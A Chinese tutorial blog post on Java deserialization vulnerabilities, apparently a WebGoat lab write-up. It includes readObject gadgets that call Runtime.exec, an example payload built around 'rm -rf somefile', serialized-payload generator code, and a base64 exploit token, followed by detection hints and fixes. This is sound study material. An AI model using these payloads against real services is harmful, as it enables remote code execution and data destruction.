Java代码审计安全篇-反序列化漏洞

前言:

 堕落了三个月,现在因为被找实习而困扰,着实自己能力不足,从今天开始 每天沉淀一点点 ,准备秋招 加油

注意:

本文章参考qax的网络安全java代码审计和部分师傅审计思路以及webgoat靶场,记录自己的学习过程,还希望各位博主 师傅 大佬 勿喷,还希望大家指出错误

初识 Java序列化和反序列化:

1.概念:

       序列化是将某些对象转换为以后可以恢复的数据格式的过程。人们经常序列化对象,以便将它们保存到存储中,或作为通信的一部分发送。

         反序列化是该过程的反面,从某种格式获取数据,并将其重建为对象。如今,用于序列化数据的最流行的数据格式是 JSON。在此之前,它是 XML。

2. 好处:

能够实现数据的持久化,通过序列化可以把数据永久保存在硬盘上,也可理解为通过序列化将数据保存在文件中。

3.序列化和反序列化的过程举例:

参考https://www.cnblogs.com/LoYoHo00/articles/17654380.html

类文件 Person.java

package lemo;
import java.io.Serializable;
​
public class Person implements Serializable {
​private String name;private int age;
​public Person(){
​}// 构造函数public Person(String name, int age){this.name = name;this.age = age;}
​@Overridepublic String toString(){return "src.Person{" +"name='" + name + '\'' +", age=" + age +'}';}
}

序列化文件:SerializationTest.java 

package lemo;import java.io.FileOutputStream;//文件输出流
import java.io.IOException;//用于声明可能会抛出IOException的方法。当一个方法可能会引发输入/输出异常时,可以使用throws IOException来通知调用该方法的其他部分,让它们做出相应的异常处理。
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;//将对象以二进制形式写入输出流。它可以将对象序列化成字节流,用于在网络中传输或保存到文件中。public class SerializationTest {public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象oos.writeObject(obj);//序列化}public static void main(String[] args) throws Exception{Person person = new Person("aa",22);System.out.println(person);serialize(person);}
}

反序列化文件:UnserializeTest.java

package lemo;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class UnserializeTest {public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws Exception{Person person = (Person)unserialize("ser.bin");System.out.println(person);//反序列化}
}

我们运行SerializationTest.java得到

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象oos.writeObject(obj);//序列化

      在 serialize 方法的实现中,首先创建了一个 ObjectOutputStream 对象 oos,它接受一个 FileOutputStream 对象作为参数,用于指定输出流写入的文件名为 "ser.bin"。然后,通过调用 oos.writeObject(obj) 方法,将传入的对象进行序列化,将序列化后的数据写入输出流。

 我们运行UnserializationTest.java得到

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();

 readObject()方法被调用,它从输入流中读取字节并将其反序列化为对象

注意: 
1.静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

2.transient 标识的对象成员变量不参与序列化

举例:

将 Person.java中的name加上transient的类型标识

加完之后再跑我们的序列化与反序列化的两个程序运行得到 发现

 name打印为NULL 是因为transient 标识的对象成员变量不参与序列化

 初始反序列化漏洞

 序列化和反序列化中有两个重要的方法————writeObject和readObject

上面举例也是使用这两个方法

1.可能存在漏洞的场景

(1)入口类的readObject直接调用危险方法

我们只需在Person.java里面添加一个触发计算器的代码:

package src;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
​
public class Person implements Serializable {
​private transient String name;private int age;
​public Person(){
​}// 构造函数public Person(String name, int age){this.name = name;this.age = age;}
​@Overridepublic String toString(){return "src.Person{" +"name='" + name + '\'' +", age=" + age +'}';}
​public void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{ois.defaultReadObject();//调用默认机制,以恢复对象的非静态和非瞬态(非 transient 修饰)字段Runtime.getRuntime().exec("calc");//在操作系统上执行外部命令。}
}

先后运行序列化 和反序列化代码就会发现弹出了计算器 

只有实现了Serializable接口的类的对象才可以被序列化,Serializable接口是启用其序列化功能的接口,实现java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的readObject()执行了Runtime.getRuntime().exec("calc"),而readObject()方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject()是可以重写的,可以定制反序列化的一些行为。

(2)入口参数中包含可控类,该类有危险方法,readObject时调用

(3)入口参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4)构造函数/静态代码块等加载时隐式执行

2.Webgoat说明

ClassPath 中包含的类

攻击者需要在类路径中找到支持序列化且具有危险实现的类。readObject()

package org.dummy.insecure.framework;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 1;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}private void readObject( ObjectInputStream stream ) throws Exception {//deserialize data so taskName and taskAction are availablestream.defaultReadObject();//blindly run some code. #code injectionRuntime.getRuntime().exec(taskAction);}
}

 利用:

如果存在上面显示的 java 类,攻击者可以序列化该对象并获取远程代码执行。

VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

原理跟上边那个差不多 

 3.Webgoat靶场实战
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

我们输入aa试试然后抓包可以看到接口名为InsecureDeserialization/task,那就后端全局搜索InsecureDeserialization/task,最终定位到InsecureDeserializationTask.java

得到InsecureDeserializationTask.java源码 

package org.owasp.webgoat.deserialization;import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;import java.io.*;
import java.util.Base64;@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {@PostMapping("/InsecureDeserialization/task")@ResponseBodypublic AttackResult completed(@RequestParam String token) throws IOException {String b64token;long before;long after;int delay;b64token = token.replace('-', '+').replace('_', '/');try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {before = System.currentTimeMillis();Object o = ois.readObject();if (!(o instanceof VulnerableTaskHolder)) {if (o instanceof String) {return failed(this).feedback("insecure-deserialization.stringobject").build();}return failed(this).feedback("insecure-deserialization.wrongobject").build();}after = System.currentTimeMillis();} catch (InvalidClassException e) {return failed(this).feedback("insecure-deserialization.invalidversion").build();} catch (IllegalArgumentException e) {return failed(this).feedback("insecure-deserialization.expired").build();} catch (Exception e) {return failed(this).feedback("insecure-deserialization.invalidversion").build();}delay = (int) (after - before);if (delay > 7000) {return failed(this).build();}if (delay < 3000) {return failed(this).build();}return success(this).build();}
}

后端拿到我们的token之后进行了一个特殊符号替换,然后进行了base64解码,解码过后进行了readObject()反序列化操作,最后判断一下这个对象是不是VulnerableTaskHolder的实例。所以,我们反序列化的对象也就确定了,那就是VulnerableTaskHolder类的实例。 

那我们就重点关注VulnerableTaskHolder类的实现:

源码:

package org.dummy.insecure.framework;import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;import lombok.extern.slf4j.Slf4j;@Slf4j
public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 2;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}@Overridepublic String toString() {return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="+ requestedExecutionTime + "]";}/*** Execute a task when de-serializing a saved or received object.* @author stupid develop*/private void readObject( ObjectInputStream stream ) throws Exception {//unserialize data so taskName and taskAction are availablestream.defaultReadObject();//do something with the datalog.info("restoring task: {}", taskName);log.info("restoring time: {}", requestedExecutionTime);if (requestedExecutionTime!=null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {//do nothing is the time is not within 10 minutes after the object has been createdlog.debug(this.toString());throw new IllegalArgumentException("outdated");}//condition is here to prevent you from destroying the goat altogetherif ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))&& taskAction.length() < 22) {log.info("about to execute: {}", taskAction);try {Process p = Runtime.getRuntime().exec(taskAction);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = in.readLine()) != null) {log.info(line);}} catch (IOException e) {log.error("IO Exception", e);}}}}

 关注readObject方法

if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))&& taskAction.length() < 22) {log.info("about to execute: {}", taskAction);try {Process p = Runtime.getRuntime().exec(taskAction);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = in.readLine()) != null) {log.info(line);}} catch (IOException e) {log.error("IO Exception", e);}}

可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的

然后关注发现这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间

所以我们只需关注 taskAction变量

然后根据上面的漏洞利用进行构造paylaod

 注意两点:

创建的对象必须是 VulnerableTaskHolder 类的实例,包名得一致;

创建的序列化对象,时间戳必须在当前时间的前十分钟以内,否则会报 The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let’s try again 错误。所以 VulnerableTaskHolder 类中的构造方法得减去一定得时间。

 我直接将构造代码写在了这个类文件里面,因为在序列化时会将package包名也序列化进去,这样也比较方便。

package org.dummy.insecure.framework;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.util.Base64;public class VulnerableTaskHolder {  static public void main(String[] args){  try{  VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");  ByteArrayOutputStream bos = new ByteArrayOutputStream();  ObjectOutputStream oos = new ObjectOutputStream(bos);  oos.writeObject(go);  oos.flush();  byte[] exploit = bos.toByteArray();  String exp = Base64.getEncoder().encodeToString(exploit);  System.out.println(exp);  } catch (Exception e){  }  }  
}

或者使用ping 

package org.dummy.insecure.framework;import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 2;private String taskAction;public VulnerableTaskHolder(String taskAction) {this.taskAction = taskAction;}public static void main(String[] args) throws IOException {VulnerableTaskHolder vuln = new VulnerableTaskHolder("ping 1 -n 6");ByteArrayOutputStream bOut = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(bOut);objOut.writeObject(vuln);String str = Base64.getEncoder().encodeToString(bOut.toByteArray());System.out.println(str);objOut.close();}
}

生成

rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAAFMAAp0YXNrQWN0aW9udAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AAtwaW5nIDEgLW4gNg==

 提交成功

 如何发现漏洞

参考https://www.cnblogs.com/yokan/p/15232644.html

1.从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB

2.Java RMI的传输100%基于反序列化,Java RMI的默认端口是1099端口

3.从源码入手,可以被序列化的类一定实现了Serializable接口

4.观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处

从可控数据的反序列化或间接的反序列化接口入手,再在此基础上尝试构造序列化的对象。

ysoserial是一款非常好用的Java反序列化漏洞检测工具,该工具通过多种机制构造PoC,并灵活的运用了反射机制和动态代理机制,值得学习和研究。

其他反序列化漏洞 

Apache Shiro 反序列化漏洞

后面再学吧 可参考

https://cloud.tencent.com/developer/article/2396001

fastjson 漏洞

 一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户

这个当然还有其他的后面再深入了解了解

修复

 1. 通过Hook resolveClass来校验反序列化的类

 2. 使用ObjectInputFilter来校验反序列化的类

 3. 黑名单校验修复

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/755306.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机基础入门2:GPU

GPU&#xff08;Graphics Processing Unit&#xff0c;图形处理器&#xff09;又被称作显示核心、视觉处理器、显示芯片&#xff0c;是一种专为并行处理而设计的微型处理器&#xff0c;非常擅长处理大量简单任务&#xff0c;包括图形和视频渲染。 GPU根据接入系统方式分为集成…

深度学习_卷积

卷积 卷积&#xff08;Convolution&#xff09;是数学和计算机科学中的一个重要概念&#xff0c;特别在信号处理和图像处理中应用广泛。在信号处理领域&#xff0c;卷积是两个函数之间的一种数学操作&#xff0c;它表示两个函数的重叠部分的积分量。 在图像处理中&#xff0c…

【Excel自动化办公】使用openpyxl对Excel进行读写操作

目录 一、环境安装 1.1 创建python项目 1.2 安装openpyxl依赖 二、Excel数据读取操作 三、Excel数据写入操作 3.1 创建空白工作簿 3.2 写数据 四、设置单元格样式 4.1 字体样式 4.2 设置单元格背景填充色 4.3 设置单元格边框样式 4.4 单元格对齐方式 4.5 数据筛选…

打造精益标杆生产线:从理念到实践的全面升级!

在制造业竞争日益激烈的今天&#xff0c;精益生产已成为企业提升效率、降低成本、增强竞争力的重要手段。那么&#xff0c;如何打造一条精益标杆生产线呢&#xff1f;本文&#xff0c;天行健精益制造咨询公司将从理念导入、流程优化、员工培训、持续改进等方面&#xff0c;为大…

MybatisPlus逆向工程

目录 &#x1f9c2;1.前提说明 &#x1f37f;2.引入依赖 &#x1f32d;3.使用导入模板 1.前提说明 注意 适用版本&#xff1a;mybatis-plus-generator 3.5.1 以下版本&#xff0c;3.5.1 及以上的请参考 3.5.1以上参考官网&#xff1a;3.5.1以上逆向工程 2.引入依赖 …

【Java Web基础】一些网页设计基础(一)

文章目录 1. 父盒子下子盒子的左右浮动布局2. 浮动布局中&#xff0c;高度较小的盒子撑起整个盒子的高度3. 在2中&#xff0c;logo和title都是顶着放置的&#xff0c;让logo和title垂直居中4. 字体大小自适应5. 响应式布局 1. 父盒子下子盒子的左右浮动布局 父盒子CSS&#xff…

汽车制造产生的污废水如何处理排放

汽车制造业是一个重要的工业领域&#xff0c;然而&#xff0c;伴随着汽车制造过程中的各种化学反应和材料加工&#xff0c;大量污废水也随之产生。为了保护环境和社会的可持续发展&#xff0c;汽车制造产生的污废水需要得到妥善处理和排放。 首先&#xff0c;针对汽车制造中涉及…

二阶段提交的理解

两阶段提交2PC是分布式事务中最强大的事务类型之一&#xff0c;两段提交就是分两个阶段提交&#xff1a; 第一阶段询问各个事务数据源是否准备好。第二阶段才真正将数据提交给事务数据源。 为了保证该事务可以满足ACID&#xff0c;就要引入一个协调者&#xff08;Cooradinator…

如何使用phpStudy在Windows系统部署静态站点并实现无公网IP远程访问

文章目录 使用工具1. 本地搭建web网站1.1 下载phpstudy后解压并安装1.2 打开默认站点&#xff0c;测试1.3 下载静态演示站点1.4 打开站点根目录1.5 复制演示站点到站网根目录1.6 在浏览器中&#xff0c;查看演示效果。 2. 将本地web网站发布到公网2.1 安装cpolar内网穿透2.2 映…

Zookeeper(二)一致性协议2PC,3PC

目录 1.1 2PC协议1.1.1 协议说明1.1.2 优缺点同步阻塞单点问题数据不一致容错性不好 1.2 3PC 协议1.2.1 协议说明1.2.2 优缺点 官网&#xff1a;Apache ZooKeeper 1.1 2PC协议 2PC&#xff0c;是Two-Phase Commit的缩写&#xff0c;即二阶段提交&#xff0c;是计算机网络尤其…

Java实现定时发送邮件(基于Springboot工程)

1、功能概述&#xff1f; 1、在企业中有很多需要定时提醒的任务&#xff1a;如每天下午四点钟给第二天的值班人员发送值班消息&#xff1f;如提前一天给参与第二天会议的人员发送参会消息等。 2、这种定时提醒有很多方式如短信提醒、站内提醒等邮件提醒是其中较为方便且廉价的…

upload-labs·文件上传(靶场攻略)

目录 1.文件上传漏洞 1.1.文件上传漏洞介绍 1.2.文件上传漏洞危害 1.3.文件上传漏洞满足条件 1.4.文件检测流程 1.5.文件上传思路 1.6.web界面存在的风险点 1.7.文件上传实战思路 2.靶场搭建 3.文件上传 3.1.upload-labs第一关 3.2.检测文件类型 3.2.1.基本概念 3…

webconfig-boot分布式项目Web一站式配置

1、前言 最近利用空余时间写了一个项目webconfig-boot 。该项目主要配置了web项目常用的一些配置&#xff0c;如统一参数校验、统一异常捕获、统一日期的处理、常用过滤器、常用注解等。引入依赖接口完成常规的web配置。 这里也是总结了笔者在项目开发中遇到的一些常用的配置…

基于Spring Boot的社区垃圾分类管理平台的设计与实现

摘 要 近些年来&#xff0c;随着科技的飞速发展&#xff0c;互联网的普及逐渐延伸到各行各业中&#xff0c;给人们生活带来了十分的便利&#xff0c;社区垃圾分类管理平台利用计算机网络实现信息化管理&#xff0c;使整个社区垃圾分类管理的发展和服务水平有显著提升。 本文拟…

LLM流式方案解决方案和客户端解决方案

背景 接上一篇《LLM大模型统一封装接口解决方案》架构确定后&#xff0c;流式方案非常规请求&#xff0c;需要特殊处理。 本解决方案就是针对上一篇中所需要的流式&#xff08;打字机效果进行编码&#xff09; 什么是SSE SSE&#xff08;Server-Sent Events&#xff0c;服务器发…

C++初阶:string类的模拟自实现

目录 1. 引子2. 自实现string类功能模块3. string类功能模块的具体实现3.1 默认成员函数3.2 遍历访问相关成员函数3.3 信息插入相关成员函数3.4 信息删除3.5 信息查找3.6 非成员函数3.7 杂项成员函数 4. 补充知识 1. 引子 通过对string类的初步学习&#xff0c;没有对知识进行较…

MRP(VBA系列):6.SIOP:将PO的信息加入到Net后面

这个比较简单&#xff0c;就是将两个表格的信息组合起来。 Tips&#xff1a;所有代码都是为目前任职公司编写&#xff0c;极大概率不适合其他公司&#xff0c;在这里发布&#xff1a;首先是记录&#xff1b;其次才是分享&#xff0c;望理解&#xff01; 效果图&#xff1a; 思…

聚合音乐网-播放器网站源码

源码简介 MKOnlineMusicPlayer 是一款全屏的音乐播放器 UI 框架&#xff08;为避免侵权&#xff0c;已移除所有后端功能&#xff09;。 前端界面参照 QQ 音乐网页版进行布局&#xff0c;同时采用了流行的响应式设计&#xff0c;无论是在PC端还是在手机端&#xff0c;均能给您…

初识 linux

什么是linux Linux&#xff0c;一般指GNU/Linux&#xff08;单独的Linux内核并不可直接使用&#xff0c;一般搭配GNU套件&#xff0c;故得此称呼&#xff09;&#xff0c;是一种免费使用和自由传播的类UNIX操作系统&#xff0c;其内核由林纳斯本纳第克特托瓦兹&#xff08;Linu…

【Linux】shell命令运行原理---认识Linux基本指令

主页&#xff1a;醋溜马桶圈-CSDN博客 专栏&#xff1a;Linux_醋溜马桶圈的博客-CSDN博客 gitee&#xff1a;mnxcc (mnxcc) - Gitee.com 目录 1.shell命令以及运行原理 1.1 shell命令 1.2 Linux内核权限 1.3 图示Linux shell和bash的区别 2.认识Linux基本指令 2.1 指令的…